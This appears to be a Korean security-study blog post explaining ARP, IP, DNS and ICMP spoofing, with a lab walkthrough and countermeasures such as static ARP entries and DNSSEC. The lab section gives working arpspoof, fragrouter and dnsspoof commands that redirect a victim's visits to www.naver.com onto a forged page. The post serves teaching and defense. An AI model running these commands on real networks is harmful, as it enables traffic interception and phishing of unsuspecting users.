[네트워크 해킹] 04. 스푸핑(Spoofing)
스푸핑(Spoofing)은 남을 흉내 내고 따라 한다는 뜻으로
네트워크 상에서 IP주소, MAC 주소, 호스트 이름 등을 속이는 공격을 스푸핑(Spoofing) 공격이라고 할 수 있다.
스푸핑의 종류
공격 계층 | 구분 |
2계층 | ARP 스푸핑 |
3계층 | IP 스푸핑 |
ICMP 스푸핑 | |
4계층 | DNS 스푸핑 |
1. ARP Spoofing :
- ARP를 사용해 MAC 주소를 변조하는 공격.
* ARP : IP주소를 MAC주소로 바꿔주는 프로토콜
* ARP 프로토콜의 취약점 : Reply(응답) 패킷을 받으면 해당 MAC 주소가 실제로 존재하는지 확인하지 않고 MAC Address Table을 업데이트한다.
- ARP는 2계층에 존재하기 때문에, 같은 랜에 존재해야 한다.
- ARP응답을 계속 보내서 MAC Address Table을 업데이트하여 MAC 주소를 변조한다.
2. IP Spoofing :
- IP 주소를 조작하는 공격
- 자신의 IP주소를 다른 사람의 IP주소로 속이는 공격
- IP 헤더의 출발지 IP주소를 변조
- IP 기반의 트러스트 관계일 때 상대의 인증 절차가 없음
- DoS, DDoS 공격 시 사용
3. DNS Spoofing :
* DNS : 호스트 이름이나 도메인 이름을 IP주소로 해석해주는 프로토콜. 일반적으로 UDP를 이용함.
* DNS 작동 방식 : DNS Query를 보내고, 그 결과로 DNS Response를 받아 처리.
- DNS 프로토콜 취약점 : 응답(Response)이 여러 개 오더라도 먼저 응답을 보낸 것을 선택함.
- 공격 방법 : DNS 프로토콜 취약점을 이용한 공격으로, DNS 요청이 들어오면 공격자가 먼저 잘못된 경로로 응답한다. 나중에 정상적인 응답이 오더라도 버린다.
4. ICMP Spoofing(ICMP 리다이렉트) :
- ICMP의 네트워크 제어 기능을 악용하는 공격 기법.
- ICMP 프로토콜 취약점 : 자체적으로 인증 절차가 없음.
- ICMP Redirect 메시지를 이용하여 공격 대상에게 자신을 공격 대상자의 Gateway(게이트웨이)가 되도록 경로를 변경. 그러면, 피해자가 보내는 모든 메시지가 공격자에게 전달이 된다.
* 게이트웨이 : 컴퓨터 네트워크에서 서로 다른 통신망, 프로토콜을 사용하는 네트워크 간의 통신을 가능하게 하는 컴퓨터나 소프트웨어를 두루 일컫는 용어, 즉 다른 네트워크로 들어가는 입구 역할을 하는 네트워크 포인트
DNS Spoofing 실습해보기
- 공격자 : Kali(192.168.10.137), 희생자 : XP(192.168.10.130)
- 게이트웨이(192.168.10.2)
- 공격 목표 :
1) Gateway(게이트웨이)와 희생자(xp)를 arpspoof로 속여서, 둘 다 공격자(kali)를 통해 통신이 되도록 한다. (ARP Spoofing)
2) 그 후 DNS 정보를 속여서 희생자(xp)가 네이버 페이지에 접속할 때에 공격자(kali)가 위조한 페이지로 접속하도록 한다. (DNS Spoofing)
- 공격 방법
[Kali (공격자)]
[ARP Spoofing]
1] arpspoof 툴을 이용 arp cache table 위조(MAC 주소 위조)
: arpspoof [내가 가장할 IP] -t [공격 대상]
arpspoof 192.168.10.2 –t 192.168.10.130
arpspoof 192.168.10.130 –t 192.168.10.2
2] 패킷을 원래 목적지로 포워딩 : fragrouter -B1
[DNS Spoofing]
3] 위조할 웹 페이지 만들고 서비스 시작하기
- 웹 서비스 시작 : service apache2 restart
- 조작될 웹 페이지 만들기:
vi /var/www/html/index.html
4] 위조할 사이트 주소에 대해 dnshosts파일을 만듦.
cat > /tmp/dnshosts
192.168.10.132 www.naver.com
192.168.10.132 *.naver.com
> www.naver.com에 에 접속하면 192.168.10.132로 접속이 됨.
- Ctrl + D로 나오기
5] dnsspoof 툴을 이용해서 dns 스푸핑 시작 : dnsspoof -f [dnshosts파일경로] -i [인터페이스]
dnsspoof -f /tmp/dnshosts -i eth0
[XP(희생자)]
[정상적인 경우]
웹 페이지에서 네이버(www.naver.com) 주소를 입력하면, 기본 페이지가 보임
[공격당한 경우]
- DNS 정보가 조작된 다음 접속 시 공격자가 설정한 페이지가 보인다.
스푸핑 방지 대책
1. ARP Spoofing 공격 대응
- ARP 요청 및 ARP 응답이 별도의 인증 과정이 필요 없는 특성을 이용.
- ARP 응답에도 해당 IP주소에 대한 MAC 주소가 변경되지 않도록 정적으로(static) 주소 설정하면 공격을 막을 수 있다. (arp -a)
2. IP Spoofing 공격 대응
- IP주소 기반의 트러스트 관계를 맺지 않는다
- 패킷 필터링(방화벽)을 이용하여 게이트웨이 밖에서 시도하는 IP 스푸핑 공격을 방지
3. DNS Spoofing 공격 대응
- hosts 파일에 주요 사이트 IP를 적어 둔다.
- DNSSEC(DNS Security Extension) 이용
* DNSSEC은 DNS 응답 정보를 전자서명 값을 첨부하여 보내고, 수신 측은 해당 서명 값을 검증하여 위변조 방지 및 무결성 제공하는 구조